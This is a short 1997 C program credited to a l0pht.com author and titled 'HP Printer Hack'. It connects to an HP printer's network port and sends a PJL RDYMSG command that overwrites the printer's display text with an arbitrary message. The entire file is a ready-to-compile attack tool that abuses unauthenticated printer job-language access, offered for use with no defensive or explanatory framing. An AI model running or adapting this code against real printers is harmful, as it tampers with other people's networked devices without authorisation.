/* 
 *
 *    HP Printer Hack
 *
 *       12/8/97 sili@l0pht.com
 *
 *
 *
 *          Compile with -lsocket -lnsl on solaris. 
 *
 *             Should compile fine on *BSD & linux.
 *
 *
 *
 *                
 *
 *                */



#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <stdio.h>



#define PORT 9101



int main (int argc, char *argv[]) {



  int sockfd,len,bytes_sent;   /* Sock FD */

  struct hostent *host;   /* info from gethostbyname */

  struct sockaddr_in dest_addr;   /* Host Address */

  char line[100];

  

  if (argc !=3) {

    printf("HP Display Hack\n\n%s printer \"message\"\n",argv[0]);

    printf("\tMessage can be up to 16 characters long (44 on 5si's)\n");

    exit(1);

  }



  if ( (host=gethostbyname(argv[1])) == NULL) {

    perror("gethostbyname");

    exit(1);

  }



  printf ("HP Display hack\n");

  printf ("Hostname:   %s\n", argv[1]);

  printf ("Message: %s\n",argv[2]);



  /* Prepare dest_addr */

  dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */

  dest_addr.sin_port= htons(PORT) ; /* PORT defined above */



  /* Prepare dest_addr */

  bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);



  bzero(&(dest_addr.sin_zero), 8);  /* Take care of  sin_zero  ??? */

  

  

  /* Get socket */

/*  printf ("Grabbing socket....\n"); */

  if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {

    perror("socket");

    exit(1);

  }



  /* Connect !*/



  printf ("Connecting....\n");

  

  if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){

    perror("connect");

    exit(1);}



  /* Preparing JPL Command */

  

  strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");

  strncat(line,argv[2],44);

  strcat(line,"\"\r\n\033%-12345X\r\n");



  /* Sending data! */



/*  printf ("Sending Data...%d\n",strlen(line));*/

/*  printf ("Line: %s\n",line); */

  bytes_sent=send(sockfd,line,strlen(line),0);

  

  printf("Sent %d bytes\n",bytes_sent);

  close(sockfd);

}